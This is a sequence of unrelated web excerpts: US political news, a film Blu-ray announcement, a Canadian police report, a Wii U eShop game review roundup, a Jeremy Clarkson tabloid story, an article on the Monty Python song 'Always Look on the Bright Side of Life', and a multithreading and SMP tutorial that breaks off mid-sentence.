indoor swimming pool and spa and a home theater. It also has a garden area south of the main residence that takes it design cues from the Dumbarton Oaks estate in Washington D.C., a listing agent previously told DNAinfo Chicago. For more neighborhood news, listen to DNAinfo Radio here: -Mr. Schumer, poised to be the incoming Senate Democratic leader, and the current leader, Senator Harry Reid of Nevada, met with Mrs. Clinton’s top campaign aides in Washington last month and pressed them to offer financial support for the Senate races, according to a Democratic official briefed on the meeting. And Mr. Schumer has not been shy since about his hope that if Mrs. Clinton clearly appeared on her way to winning the race, she would redirect some money to congressional races. “This is one of many things that the Clinton campaign is doing to help us win a majority in the Senate,” Mr. Schumer said through a spokesman. While party strategists are glad to have the money that Mrs. Clinton is directing from the Democratic National Committee to voter-turnout efforts in Indiana and Missouri, they have little appetite for Mrs. Clinton to visit those states, where she is likely to lose, because that would make it easier for Republicans to tie Democratic Senate candidates to her. Mrs. Clinton is also pouring money into two congressional districts, in Nebraska and Maine, that both apportion their own presidential electoral vote and have competitive House races. And she is sending an additional $6 million to seven presidential battleground states with hotly contested Senate and House campaigns. Democrats are also attempting to unseat Senator John McCain of Arizona from the seat he was first elected to in 1986, but Mrs. Clinton’s late decision to swoop into that state is not related to his race, which few Democratic leaders believe they can win. Her incursion there is about her own campaign — and the Democrats’ desire to focus attention on the damage Mr. Trump has done to Republicans with Hispanics. In particular, Democrats hope to make an example of Sheriff Joe Arpaio, an ardent Trump supporter, by defeating the Phoenix lawman, whose incendiary comments about Hispanics and aggressive tactics with immigrants have garnered attention far beyond his jurisdiction in Maricopa County. “If Democrats were going to win in Arizona in 2016, you’d need a Republican who turns off Republican women, who really energizes Latinos, and you’d need other races on the ground that can really drive engagement — and we have all that,” said Andrei Cherny, a former state Democratic chairman. -The Australian monster icon is getting the ultimate HD treatment. Directed by Russell Mulcahy, 1984 film Razorback centers on a vicious wild boar terrorizing the Australian outback, and we’ve just learned that it’s being given new life courtesy of Umbrella Entertainment. A brand new Blu-ray is on the way, transferred from a 4K master with all-new extras. Cult of Monster reports that the Razorback Blu-ray is tentatively scheduled for release on November 1, and it will include a discussion featurette produced by Cinemaniacs. The new 4K scan and restoration was completed by Melbourne’s Roar Digital. The site adds… “Unfortunately the upcoming RAZORBACK Blu-ray release will not include the ‘grizzly’ extended shots/scenes featured on the old Aussie Roadshow Home Video VHS/Beta reinserted back into the film as those 35mm film elements are long lost however Umbrella will be including a standard definition VHS cut as a special feature!” In the film, “Somewhere deep in the Australian outback there’s a marauding, indestructible creature that can rip a man in half and destroy a homestead in seconds. This giant freak of nature is nine hundred pounds of tusk and muscle – and it is hell bent on terrorizing the small isolated community of “Gamulla” – a town as violent and primitive as the beast that threatens it.” -Surrey RCMP are investigating an alleged racist assault on an animal rights protester outside the Cloverdale Rodeo this weekend that was posted on YouTube. Police say an animal rights protester was packing up to leave on Saturday, when she got into an argument with a woman who began yelling racial slurs at her. In the video posted on YouTube, the protester yells back at the woman — who is dressed in a black hoodie and sunglasses — "Keep talking" and "Come here and hit me," a number of times. The woman then approaches the protester, which is when the video ends with an apparent scuffle. The protester alleges she was spat on, her hair was pulled to drag her to the ground, and she was kicked and punched by as many as two or three other people. Police say the protester suffered minor injuries and they are looking for help from the public to locate the woman in the video. RCMP Cpl. Bert Paquet said even though it appears the protester in the video is egging on the woman, that is no excuse for assaulting someone. -The eShop Report #1 – 2012-2013 To kick off Jordan’s new monthly article discussing what comes to the Wii U’s eShop every month, he takes a look at the back catalogue up until now, and gives you a rundown on the games currently on the store worth purchasing. Ah the Wii U. In some people’s eyes it is an abomination while in others it is a bastion for the older days of gaming and that Nintendo patented cuteness. Whatever your stance is, if you’re a gamer that has one you’ll want to be playing the best games and at the best value. This series will give you a monthly rundown on the newest titles that are added to the eShop each month – with a specific focus on the digital-only games. (Retail titles will be mentioned in passing, but are not the main focus). To kick this off, I’m going to take a look at at the titles that have graced the Wii U over it’s first year and a half – let’s do this! Along the way I’ll use a simple rating for each game – Ignore, Watch or Buy. Ignore are games that aren’t worth your time or money – give them a miss. Watch means to put this game down on your watch list, and pick it up when the price comes down to something you agree with, or you get some extra money in your pocket. Buy should be the things you head straight for! Virtual Console – Prices SNES: £5.49, NES: £3.49 One of the neatest things about the Wii and Wii U is the virtual console. However, the Wii U’s virtual console is nowhere near the standard the Wii one was – whereas the Wii had a bonafide library, the Wii U’s is bordering on anaemic. There are currently just 57 virtual console titles available as of the time of writing. However, that’s not to say there is nothing worth your time. Some of the best games of all time are already on it – Super Mario World, Donkey Kong, Metroid, Megaman X, Street Fighter 2 and Gradius all make an appearance. However, if you’re looking for something new, you’re unlikely to find it here. The selection at the moment is just passable – useful for those perhaps too young to have ever played these titles before, but for those that have played these a million times already, this isn’t going to draw you in. Wii Sports Club – Price: £8.99 each – Watch Every gamer on the planet knows what Wii Sports is about, and this is a refresh on the series, updated with HD graphics and a pricing model that lets you pick what sports you want to pay for. The conversions are done well, and it does have some added features, however the core gameplay remains as simple as ever, so unless you really love the series, I’d say give it a miss for now. Dungeons and Dragons: Chronicles of Mystara – Price: £11.99 – Watch HD Re-masterings of classic arcade games are something I wholeheartedly approve of. This kind of button mashing arcade brawler was all the rage in the 90’s, and frankly I miss games like this. D&D:CoM adds to this formula by requiring you to perform certain combos and special moves to really progress in the game, and it is a welcome addition that helps keep it relevant in a more complex gaming world. There are almost no Wii U specific uses except – as usual – off-tv play, however that’s something to be expected in this kind of conversion. Overall, it’s a nice little compilation of two arcade classics that are great fun even today. Spot the Differences: Party! – Price: £4.49 – Ignore ‘The most complete spot the difference game on Wii U’. Well, that’s certainly true! However, you can also get the same experience by going to any browser based game on the web. The only reason to get this, is if you are some kind of shovelware connoisseur. TNT Racers – Nitro Machines Edition – Price: £6.99 – Watch TNT Racers was originally a WiiWare game, that has been ported to the Wii U with some hiccups. It uses the same classic gameplay style Micro Machines uses – having to go fast enough to cause your opponent to fall off the bottom of the screen, using various weapons to help you accomplish this. There are other modes too, like missions which have you dodging cones and picking up items, as well as challenge and points events. However, in spite of being a game that is clearly far more fun as a multiplayer title, there is no online play, meaning that this game will be doing nothing if your friends aren’t over. The graphics and music are cute enough, however they are not going to blow you away. A fun little racer that is a laugh with friends, get this one depending on your situation. Giana Sisters: Twisted Dreams – Price: £12.99 – Watch Giana sisters is known for the original being a knock-off of Super Mario, however in recent years it’s been carving out its own identity. It’s a platformer with tight and responsive controls, and a few neat features. Giana can transform into a fireball, spin in the air and switch between two different versions of herself which in turn change the world from vibrant and happy to dark and gloomy. One issue that does arise is that the world is actually a little bit too populated, often the background seems to get in the way of the platforming, making things a little confusing. However, for what it is it’s a fun platformer that you won’t be able to play on any other console. DuckTales: Remastered – Price: £11.99 – Watch Duck-tales, Woohoo! Who can forget that classic theme right? This game attempts to build on the NES game it is based on, however it isn’t quite as well done as some other retro game re-imaginings in the past few years. The first issue, is that its feet seem to be rested fully in nostalgia. If you loved this game when you were little then you’ll love it now, but a newcomer may be more wary. The graphics and sound are clearly beautiful, however it will not leave much of a mark on history due to its fun but average gameplay. Pokemon Rumble U – Price: £13.49 – Ignore Pokemon is such a powerful franchise that it’s presence is almost necessary for any Nintendo console. The Rumble series however is not one people would particularly clamour for, featuring wind-up toys battling each other. The combat is bland, mashing buttons and occasionally using a super-attack to mix things up a little bit. Four player co-op can however be a bit of a laugh, though it’s not worth the price. Interestingly, it’s one of the only games to use the GamePads built in NFC technology – the tech that powers the skylanders toys. So if you’re into that sort of thing, go wild. Art Academy: SketchPad – Price £3.59 -Ignore/Buy (Depending on preference) It’s an app that lets you make pictures using the GamePad and stylus with a range of tools. That’s literally all there is to say, if you enjoy making pictures then this app does it as well as you can imagine featuring many kinds of brushes and colours to use, and works well enough. If you’re not, then this isn’t for you. Spin the Bottle: Bumpie’s Party – Price: £5.99 – Buy Back in the days of the Gamecube, I thought WarioWare was the weirdest mini game compilation I would ever play. I was wrong. This is an absolute must-have if you plan on using the Wii U as a party console – the game has you doing some truly ridiculous stuff, and it mixes up the selection depending on the amount of controllers and players you have, but never once fails to give you a laugh. Definitely download this one for something different. Cloudberry Kingdom – Price: £7.99 – Watch A 2D sidescrolling platformer with a twist – it uses procedurally generated levels. This is a feature rarely seen in platformers due to the genre generally needing to be a more controlled and tighter experience than RPG’s which often use it, however here it works very well. You never get a broken or unplayable level, and most of the time wouldn’t know it’s been generated by an algorithm. Cloudberry can have some bloody hard levels, and includes a story mode with different characters that have different traits, such as one that can double-jump and one that can’t stop. It’s a fun, different platformer that is worth your money, but you’ll have to judge it up against the plethora of other platformers out there to see if it is worth your time. Star Wars Pinball – Price: £7.99 – Buy As far as pinball games, this is probably the cream of the crop. Not only are the physics spot on, the graphics are great and of course, it features Star Wars themed tables; any pinball fan would be mad not to pick this one up. Kung Fu Rabbit – Price: £4.49 – Buy Kung Fu Rabbit often takes two steps forward, one step back. On one hand, the controls are absolutely tight, which is very important in any platformer, and the graphics are very HD and smooth. On the other hand, it’s light on content, and the menus lack text making it feel like an ipad game most of the time, which really lets it down. As you progress in the game you collect carrots which can be used for upgrades, and you face various obstacles which do add variety. A bit more of a push could have made this game great – and I really hope the development team gets to expand on this premise in a sequel. BIT.TRIP Presents: Runner 2: Future Legend of Rhythm Alien – Price: £9.99 – Buy Runner 2 is essentially a crazy hurdling event. You have a long course, having to slide under, jump over and break through obstacles, making it feel essentially like a rhythm game as the title suggests. However, the difference comes from being able to navigate the courses at this speed to try and find treasures, secret levels and alternative exits, and having 125 levels there are a lot to find. It features a bit of a learning curve which means you’ll constantly be discovering new elements of the gameplay, a truly excellent downloadable title. Of course, one of the main selling points for this series has always been the music, and Runner 2 does not dissapoint, the chiptune themes pulse through the game and will give you a real buzz. Toki Tori 2+ Price: £12.99 – Buy Toki Tori 2 does what few games seem to be able to do – reinvent the core gameplay from its prequel, but keep intact what made people love it. Toki Tori 2 is a puzzle game at its heart, and you go through the world with your little yellow bird solving some pretty tough challenges with naught but a whistle and a ground stomp. Your limited abilities however are put to great use, moving blocks and pounding on blocks and pegs, attracting/repelling the creatures, and trying to many of these different things all at once. Somehow Toki Tori 2 manages to breakthrough the repetition that so many puzzle games suffer from and each puzzle genuinely manages to feel different each time – if you are a stickler for a puzzle game that will truly test you, buy this now! Fist of the North Star: Kens Rage 2 Price £39.99 – Ignore It is rare for a game like this to be released as eShop only on the Wii U, however Tecmo Koei seem to have wanted this game to be played by as few people as possible, and rightly so. As a Dynasty Warriors fan myself, even I have to call this one lazy and repetitious. It tries nothing new, and instead of giving you large interesting maps filled with weird stories and elements like in the Warriors series, you are restricted to much smaller areas, far less enemy variety and a story mode that can’t even maintain a stable frame-rate. Warriors players are still waiting for a good entry in the series to be made on the Wii U – and this is no substitute. Mighty Switch Force: Hyper Drive Edition – Price: £8.99 – Buy A better version of the 3DS eShop title. Enhanced with HD visuals and remixed stages, this is the version of the game to pick-up. Great animation adds to the beautiful 2D action the game provides, and the tight controls make it wonderful to play. A must-have for 2D action game fans. Mighty Switch Force! 2 – Price: £5.00 – Watch Whilst MSF2 is just as fun on the Wii U as It was on the 3DS, it suffers from ‘more of the same’ syndrome. In fact, this version doesn’t look quite as good on the Wii U as the first one did, not receiving the same attention given to the original port. Despite this, the 16 bit nature of the game is still fun and frantic, and will give any action gamer a good pump. Chasing Aurora – Price: £5.99 – Watch Aurora is the type of game you play at six in the morning when you can’t sleep. It’s calm, serene, and often verges on beautiful – however it is very short and limited. You play as birdlike paper creatures and glide on the wind through the levels, however be warned that most of the game is cut-off to you unless you are playing in multiplayer mode, so try this one out with a mate. Little Inferno – Price: £8.99 – Buy Games that are both truly unique, and relatively obscure almost never come along, however Little Inferno seems to occupy that space. Half sandbox half game, you are set in front of a fireplace and charged with well, burning things. Burning things gets you coins, which you can use to get more things to burn from the charming catalogue the game provides. It does have a light puzzle element, in the form of needing certain combos to unlock more catalogues to burn more things. The real fun in this game comes from the physics engine and the sheer amount of things to burn, and the light narrative the evolves over the few hours of gameplay make this a game experience that will burn itself into your mind, occupying a space in it unlikely to be challenged by anything else for a while to come. Nano Assault Neo – Price: £8.99 – Buy Nano Assault Neo is one of those games that is perfect to be a digital game. It’s not very long, but it is well made, and is visceral action-based fun. You control your ship with the left analogue, and the direction you shoot with the right, and along the way pick up power-ups and ‘satellites’ which add smaller ships that accompany yours. You fight on weird shaped cells that are meant to be inside a body, and it works well enough. The only issue you’ll find is the camera tends to lag behind and not be able to keep up with the action – and in the heat of the moment this can be a problem. This is a pulse-pounding pick up and play game, that is somewhat let down by its length. Worth a pickup. Puddle – Price: £8.99 – Watch Ah, physics based game play! It’s a sub-genre that has exploded with the indie gaming market, and rightly so – the very basis of it means the game will play out slightly different every time. In Puddle, you control various liquid substances, and use the gyrometer on your Gamepad to guide you throughout the levels. As a physics game, it’s fairly run-of the mill, and whilst interesting at times, it’s not a must-have by any means. Pick this one up only if you’re especially in love with the genre, or have run out of other titles to try. Trine 2: Directors Cut – Price: £13.99 – Buy Trine is an Indie series that has gained a polish that puts it up there with triple-A releases – and for good reason. The colourful graphics, the tight gameplay and the interesting, funny characters make it worthwhile – and this is one of the best editions, only slightly outshined by the resolution in the PS4 edition, however content-wise it’s exactly the same. For a Wii U owner looking to jump on the eShop bandwagon, this should be your first port of call. The Cave – Price: £9.99 – Watch The Cave is a decent platform puzzle game, however its great presentation values often mask what is in actuality a fairly standard game. The use of character switching gameplay is much better done in Trine, and the frustrations with having to traipse around the levels back and forward often pull what could have been a great game down to simply adequate. You may get a kick out of it thanks to its look and atmosphere, but it is somewhat flawed at a gameplay level. So that’s it! The eShop is currently not the paradise it should be, however with Nintendo’s latest efforts to push the console, we can only hope that it grows into the unique and innovative place it should be. Certain aspects such as generally higher pricing than we are accustomed to should with consumer pressure come down, and I personally think the future is bright. Catch the next eShop report on the 1st January, and expect it on the 1st of every month after that! Article by Jordan Lloyd -This is the moment Jeremy Clarkson talked himself out of a ticket after leaving his bright green Lamborghini parked on yellow lines. Despite his recent woes, he was seen laughing with a traffic warden in London, who had tried to put a ticket on his borrowed supercar. The warden recognized the former Top Gear host immediately and the pair chatted for a few minutes. And the conversation must have been a good one - as the warden then appeared to walk away without leaving a ticket on the eye-catching Lamborghini. Scroll down for video Jeremy Clarkson talked himself out of a parking ticket in London today after leaving his green Lamborghini parked on yellow lines After spending 15 minutes inspecting a black Ferrari, Clarkson drove off in his eye-catching supercar Clarkson was also spotted at Stamford Bridge, cheering on Chelsea as they drew 0-0 with Arsenal Clarkson had met up with two people who were showing him black Ferrari Pininfarina 275. He was inspecting the car as if he may have had an interest in buying it. After spending around 15 minutes looking at the car, he drove off in his Lamborghini, which has Italian number plates. Clarkson, 55, was sensationally sacked from Top Gear by the BBC last month after a 'fracas' involving a producer during filming. This week Richard Hammond, 45, joined James May in confirming he will not return to Top Gear following Clarkson's sacking, insisting on Friday he had no plan to 'quit my mates.' Today, Hammond told reporters at a charity bike rally that the future will be 'exciting' but refused to speculate further on the future of Top Gear. The former Top Gear presenter stopped for a chat with tennis coach Boris Becker after the full-time whistle Clarkson did not seem to entertained by the match between the two London sides, which was a bore draw Jeremy Clarkson (left) is seen with his Top Gear colleagues James May (centre) and Richard Hammond (right) outside his west London flat this week, in their first public appearance since he was sacked He said: 'Everybody knows what's happened. That's all been in the news. The future, nobody knows yet do they? 'And I cannot and won't speculate further than that. So don't know, let's see. It'll be exciting whatever.' Hammond's resignation marked another blow for the popular show, which has been marred by uncertainty since Clarkson was axed. There is mounting speculation the men are working on a new motoring series to be aired by Netflix, Amazon or another British broadcaster. Producer Olsin Tymon had his lip split by Clarkson in the March 4 assault and took himself to hospital with his injuries. The incident led to the BBC deciding not to renew Clarkson's contract after the current Top Gear series of Top Gear finishes. Police investigated the attack but Tymon told them he did not want to press charges and officers announced earlier this month they would 'not be pursuing the matter any further.' -"Bright Side of Life" redirects here. For the album by Rebelution, see Bright Side of Life (album) "Always Look on the Bright Side of Life" is a comedy song written by Monty Python member Eric Idle that was first featured in the film Monty Python's Life of Brian and has gone on to become a common singalong at public events such as football matches as well as funerals.[1][2] The song touches on the British trait of stoicism with the "stiff upper lip" spirit in the face of adversity, and became immensely popular. It reached No.3 on the UK Singles Charts in 1991,[3] and the 2012 Summer Olympics closing ceremony in London featured a live performance of the song by Idle. History [ edit ] Whilst trying to come up with a way of ending the film Monty Python's Life of Brian, Eric Idle wrote an original version of the song on a Gibson J-50 guitar using only jazz chords he learnt from a course by Mickey Baker.[4] Originally the song was sung in a more straight fashion,[4] which the other Python members eventually agreed would be good enough for the end of the film. However, Michael Palin noted in his diary for 16 June 1978 that during a script meeting, "Eric's two songs — 'Otto' and the 'Look on the Bright Side' crucifixion song — are rather coolly received before lunch."[5] Despite being initially underwhelmed, the group warmed to Idle's efforts and the song was retained. While practising during a break in filming, Idle found that it worked better if sung in a more cheeky manner by a character of his called "Mr Cheeky", which in turn was based on the film's cockney lighting crew. This new version was used in the film and became one of Monty Python's most famous compositions.[citation needed] The song appears at the end of the film. The film's lead character Brian Cohen (played by Graham Chapman) has been sentenced to death by crucifixion for his part in a kidnap plot. After a succession of apparent rescue opportunities all come to nothing, a character on a nearby cross (played by Eric Idle) attempts to cheer him up by singing "Always Look on the Bright Side of Life". As the song progresses, many of the other crucifixion victims (140 in all, according to the script, though twenty-three crosses are actually seen on screen) begin to dance in a very restricted way and join in with the song's whistled hook.[6] The song continues as the scene changes to a long-shot of the crosses and the credits begin to roll. An instrumental version plays over the second half of the credits. Its appearance at the end of the film, when the central character seems certain to die, is deliberately ironic. "Always Look on the Bright Side of Life" was arranged and conducted by John Altman and recorded at Chappell's Studio[4] with a full orchestra and the Fred Tomlinson Singers.[4] The song appeared on the film soundtrack album, listed as "Look on the Bright Side of Life (All Things Dull and Ugly)". The subtitle does not appear in the actual song, and is only used on the soundtrack album. "All Things Dull and Ugly" was also the title of an unrelated track on Monty Python's Contractual Obligation Album (released only a few months later), which is a parody of the popular hymn "All Things Bright and Beautiful". The song was also released as a Double A side single with "Brian", the film's opening theme (performed by Sonia Jones). The song touched a chord with the British trait of stoicism and the "stiff upper lip" in the face of disaster, and became immensely popular. When the destroyer HMS Sheffield was struck by an Exocet cruise missile on 4 May 1982 in the Falklands War, her crew sang it while waiting to be rescued from their sinking ship,[7] as did the crew of HMS Coventry,[8] with the line from the song "Worse things happen at sea, you know" being especially ironic. When Chapman died on 4 October 1989, the five remaining Pythons, as well as Chapman's close friends and family, came together at his public memorial service to sing "Always Look on the Bright Side of Life" as part of Idle's eulogy. In 2005, a survey by Music Choice showed that it was the third most popular song Britons would like played at their funerals.[1] By 2014, it was the most popular.[9] Alternate lyrics [ edit ] When performing the song live in a (solo) sketch within special events, Idle re-wrote one verse of the song to fit the particular occasion. Two such examples follow. We Are Most Amused version ( version ( Prince Charles 's 60th birthday party, 2008) [ edit ] "If Spamalot is hot And you like it, or per'aps not A bunch of knights in search of Holy Grails; When you're 60 years of age And your mom won't leave the stage, It's good to know you're still the Prince of Wales!" "When you're stuck on the world's stage With lots of loonies half your age, And everything is starting to go wrong, It’s too late to run away, You might as well just stay, Especially when they play your silly song!" Note: On both of the above occasions, the line "Life's a piece of shit" was sung unchanged and was not censored during the live TV broadcasts of the events. Single [ edit ] "Always Look on the Bright Side of Life" was first issued as a single as a double A-side with "Brian" in the UK on 16 November 1979 to promote Monty Python's Life of Brian and its soundtrack album, but did not chart. Nine years later when the film was released on VHS, the song was reissued on 21 November 1988 in an edited form to remove profanity, with a full version of "Brian" on the B-side. Once again it failed to chart. The song became particularly popular in the early 1990s. The film had retained a cult status in the intervening years. Around 1990, BBC Radio 1 DJ Simon Mayo, whose breakfast show had a track record of reviving old novelty songs, began playing the original version on his show,[10] which led to Virgin re-issuing the track as a single on 23 September 1991. The 7" single was backed with two tracks from Contractual Obligation, "I Bet You They Won't Play This Song on the Radio" and "I'm So Worried", while the cassette and CD singles added a German-language version of "The Lumberjack Song" taken from the first Fliegender Zirkus episode. The single reached the top ten in October and prompted a deliberately chaotic performance by Idle on Top of the Pops. Despite some predictions, it did not manage to bring an end to Bryan Adams' unprecedented run at the top of the UK Singles Chart with "(Everything I Do) I Do It for You", instead peaking at number 3 and leading to a re-promotion for the 1989 compilation Monty Python Sings, which the song opens. However, the single did get to Number 1 in Ireland on 13 October 1991, despite Life of Brian having been banned in Ireland, and the soundtrack on Warners withdrawn when released after protests. Following this attention, the song became more popular than ever. Two cover versions, by Tenor Fly (incorporating the piano riff from Nina Simone's "My Baby Just Cares for Me"), and the cast of Coronation Street, both reached the charts in 1995. Eric Idle recorded alternate lyrics for the radio version, with the swearing censored, and the comments about the end of the film replaced with references to the end of the record, and continued rants about old people. This version was released on CD, cassette and vinyl via the compilation album Now 20 in November 1991 and as a b-side on a reissue of "Galaxy Song" (where it is billed as "1991 version") on 2 December 1991. For this radio version, the line "Life's a piece of shit" was altered to "Life's a piece of spit". In recognition of Simon Mayo's contribution to making the record a hit, a special version was also created exclusively for him in which Idle addresses him by name. Mayo still uses this version when the song is played on his show. This version is also included as the penultimate track on Now That's What I Call Music! 1991 – The Millennium Series, released in 1999. On 14 July 2014 another version of the song was issued, this time as a 12" single where it was promoted as "The Unofficial England Football Anthem". The track featured a new vocal from Eric Idle and some alternate lyrics about the World Cup. Track listing [ edit ] 1979 7" "Brian"/"Always Look On The Bright Side Of Life" (Double A side) 1988 7" "Always Look on the Bright Side of Life" (Edited Version)/"Brian" 1991 7" "Always Look On The Bright Side Of Life"/"I'm So Worried";"I Bet You They Won't Play This Song on the Radio" 2014 12" "Always Look On The Bright Side Of Life" (2014 Version)/"An Apology From Bernard" Covers [ edit ] Harry Nilsson performed "Always Look on the Bright Side of Life" as the closing track on his 1980 album, Flash Harry. In 1997, the song was recorded by Art Garfunkel and included in the soundtrack of James L. Brooks' film As Good as It Gets. Jack Nicholson sings the song fleetingly in the film itself with the minor addition of "your" in "brighter side of [your] life". Garfunkel's version replaced the risqué phrase "Life's a piece of shit" with the more family-friendly "Life's a counterfeit" ("Life is hit or miss" has also replaced the lyric as with wedding bands and live radio). The song has also been performed by Bruce Cockburn and released on his 1990 live CD. The Brobdingnagian Bards recorded the song for their CD A Faire to Remember. American musician Emilie Autumn performed a harpsichord cover of the song for her compilation album A Bit o' This & That. Heavens Gate recorded a metal cover of "Always Look on the Bright Side of Life" for the album Hell for Sale!. Green Day has used it in their rendition of "Shout" on their concert DVD Bullet in a Bible. German fun metal band JBO made a version of the song with changed lyrics ("Always Look on the Dark Side of Life") for their album Sex Sex Sex. German fun punk band Heiter bis Wolkig also made a version with changed lyrics called "Versuch's mal von der breiten Seite zu seh'n". The British duo Amateur Transplants made a parody version of "Always Look on the Bright Side of Life" as well, with lyrics in which only the name and the chorus of the original song are retained. Green Day did a short version of the song on their Revolution Radio tour in 2017 in Brisbane, Australia. They also covered "I Can't Get No Satisfaction" and "Hey Jude" after playing "King for a Day" and "Shout". In popular culture [ edit ] The song appears twice in the Broadway musical Spamalot, based on Monty Python and the Holy Grail – once in Act II and again during the curtain call. It is one of two Monty Python songs in the musical not taken from the original movie, along with the song "Finland"; other songs were either from Holy Grail or were new creations. The song was made popular as a football chant by Aston Villa F.C. supporters in the 1980s and adopted by other clubs. The song is used at the end of Not the Messiah (He's a Very Naughty Boy), the comedic oratorio written by Eric Idle and collaborator John Du Prez. The 2012 Summer Olympics closing ceremony in London featured a live performance of the song by Idle. English heavy metal band Iron Maiden play it over the PA system at the end of every concert. The song is almost always played during the conclusion of the John DeBella Show on WMGK. Charts [ edit ] -Nowadays we have computers and phones equipped with multi-core processors. These computers can actually perform multiple computations in parallel. All the cores or processors share the same memory (RAM) and IO bus. The operating system is able to schedule work on different cores simultaneously. This is called symmetric multi processing (SMP). Programs take advantage of SMP. With the help of the operating system, the programs distribute computation to multiple cores, and bring down the overall execution time by a huge factor. The operating system, and programming language features play a huge role in making SMP available to programmers. The intension of this post is to delve deep and understand how the language features, operating system and hardware architecture enables use of SMP in applications. If one is already well versed in multi-threaded application programming, he/she may skip directly to “Understanding SMP hardware architecture“. Multi-threaded applications Each task that a process performs is a series of operations. The processing of these series of operations is called execution of a thread. A process can distribute tasks to multiple threads. It creates threads by calling a function exposed by the operating system. The operating system creates, manages and schedules threads. It does this for all the applications and services running on it. The operating system usually ends up creating a much larger number of threads than the number of cores on the computer. To be able to handle so many threads, each core has to serve multiple threads. The operating system assigns a thread to be executed on a core for some time, and then uses the same core for another thread. This process is called scheduling, and the duration for which a thread is assigned to a processor / core is called a time slice. When the time slice for a thread is over, it is pre-empted (taken off the processor) and put aside for scheduling. Whenever the thread gets another time slice for itself, it resumes from where it had been pre-empted in the last run. This post will cover the issues related to a single process using multiple threads. Applications use multiple threads mainly to: decrease effective time needed for huge computations increase responsiveness to external events such as: user input messages from other systems Such applications are called multi-threaded applications. Programming multi-threaded applications is considered challenging and rightly so. Many language features and operating system facilities try to abstract the details to simplify writing multi-threaded applications. Though it has helped application programmers, it also has a flip side: Due to improper use of these features and facilities, a large number of applications have turned out to perform worse than expected. Quite often, lack of true understanding has led to: undefined behaviour (crashes / memory corruption) hung processes (due to deadlocks) Sharing memory between threads The main reason for all the complexity in multi-threaded applications is that, the same data / memory location gets shared between multiple threads. Let us take a very simple task of incrementing a counter. Whenever an event occurs, we need to increment the counter. A simplified series of operations needed for incrementing a counter is as follows: Read the current value from the counter’s memory location Add 1 to the current value Write the new value to the counter’s memory location Let us say two events happen, and they are processed by our application in parallel. The process being multi-threaded, schedules the task of incrementing the counters on two different threads. The threads run on different processors simultaneously. Both of the threads execute step 1 above and see the value, say 998. They then add 1 to it and the new value happens to be 999. Then both want to write 999 to the memory location. Regardless of who writes first, in the end it would be 999 in the counter’s memory location. So instead of having 1000, we have 999. This is called a race, and it can be avoided using synchronisation features provided by the language or the operating system facilities. Synchronisation One of the synchronisation features is mutex (mutual exclusion). A thread locks a mutex, and until the thread unlocks it, no other thread can lock it. A mutex is typically used to protect a variable from data races. To avoid race in the counter example, lock a mutex before the read operation, and unlock after the write operation. Thus any one of the two threads gets to lock the mutex first. The other thread remains blocked. Once the counter is updated and written back, the first thread unlocks the mutex. This is when the second thread gets to lock the mutex and is able to proceed. By this time the counter is already updated by the first thread, hence the read by the second thread gets the incremented value. This provides the needed consistent behaviour. Programmers have to follow a discipline of using mutexes whenever they have to use variables that are shared between threads. Due to the simplicity of the counter example, one may be led into believing that using mutexes around all shared variables will solve all multi-threading related issues. There are two kinds of problems that arise: The process slows down. The process hangs. Slow down: If two threads are contending to get a lock on a mutex, the operating system or language makes sure that only one of them gets it. The other thread blocks. This causes only one thread to effectively proceed. In-spite of having multiple cores / processors on the system, it behaves as if it were single threaded. In fact if the application is single threaded, it could have avoided acquiring locks, and thus could have been faster! After all acquiring lock is some overhead even if there are no contending threads (it is an operation after all). Hence indiscriminately sharing all data between threads and thereby protecting it with mutexes would lead to slow down of the system. The process hangs: Let us say there are two variables which are protected using different mutexes. Now suppose there are two threads operating on the variables. The example below illustrates how two seemingly un-related functions get blocked indefinitely. thread 1 (function trying a swap) lock obj1 lock obj2 ( blocked ) ... swap obj1 obj2 ... ... unlock obj2 unlock obj1 thread 2 (function incrementing objects) lock obj2 lock obj1 ( blocked ) ... obj1 = obj1 + 1 obj2 = obj2 + 1 ... unlock obj1 unlock obj2 This is called a deadlock. This is an over simplification of code causing deadlocks. Usually industrial code is very complex, and huge. It is becomes extremely difficult to find deadlocks until they actually occur! Different synchronisation mechanisms There are features like Mutexes, Semaphores and Condition Variables and even more higher level of synchronisation techniques provided by languages and operating systems. A well written program will strive to improve through put of the program. It would parallelise functions using multiple threads. With locks being used while sharing memory between threads, it becomes important to acquire locks only when needed and unlock immediately after the need is over. Acquiring a lock is costly in a high performance system. To further increase the performance of the system, a programmer can make use of hardware instructions exposed by languages like C/C++. The programmer avoids locking a mutex. This completely alters the design of the system. The technique is called lockless programming. It is considered very advanced, and is best avoided by application developers. This post attempts to explain the basics of lockless programming. Lockless programming techniques are used by device driver writers, compiler writers. It is also used in ultra low-latency systems and in a few operating system kernel modules. From an application developer’s perspective, the only benefit of lockless programming is that there is no chance of a deadlock! Understanding SMP hardware architecture Modern hardware architectures have multiple cores / processors and often 3 levels of caches. The sample image below is a 2 level cache taken from Intel’s website, just to illustrate. To manipulate a variable in a thread running on say Core 0, it has to fetch the value of the variable from the system memory. The Core 0 actually manipulates the value in a register and stores the new value in the location of the variable. In essence the Core 0 is actually operating on a copy of the variable, not directly on the system memory. The steps needed for incrementing a counter: 1. load counter from system memory in C2 (C2 is location in L2 Cache) 2. load C1 from C2 (C1 is location in L1 Cache) 3. load R1 from C1 (R1 is a register in the processor) 4. R1 = R1 + 1 5. store R1 to C1 6. store C1 to C2 7. store C2 to location of counter in system memory The reason for these levels of caches is higher performance. It is much faster to load a value from L1 cache into the register compared to loading from L2 cache. Similarly the access to system memory is very slow compared to the L2 cache. Hence, the processors predict the data they might need, and pre-fetch those into the caches. Sometimes the predictions go wrong, so it has to drop the existing contents in the cache, and get the right ones. This is called a cache miss. In the example above, R1 could be the register eax of the x86 architecture. This register is 32 bits. So even if the counter happened to be an unsigned char, that is, just one byte (8 bits), R1 would load 32 bits. The remaining unneeded 24 bits next to the counter therefore get loaded in the register. Please bear this in mind, as the implication of this is elaborated later on. Optimisation by the processor Consider the following multiple lines which are unrelated, eg: 1. x = x+1 2. y = 100 3. pi = 3.14 It would not matter in which order the lines are executed. The processor exploits this and depending upon the proximity of the variables in the caches, executes the one which are closer first. This is called memory ordering. Quite often it even predicts conditional statements as well: 1. if(some_bool == true) 2. x = x+1 3. else 4. y = y+1 Whenever it predicts which direction the code is likely to flow, it would initiate executing based on the prediction even before the condition is evaluated. This is called branch prediction. This link provides the details: Intel processor’s branch prediction. There is a heavy cost associated with mis-prediction here, as a lot of work done by the processor needs to be thrown and other branch needs to be executed. This 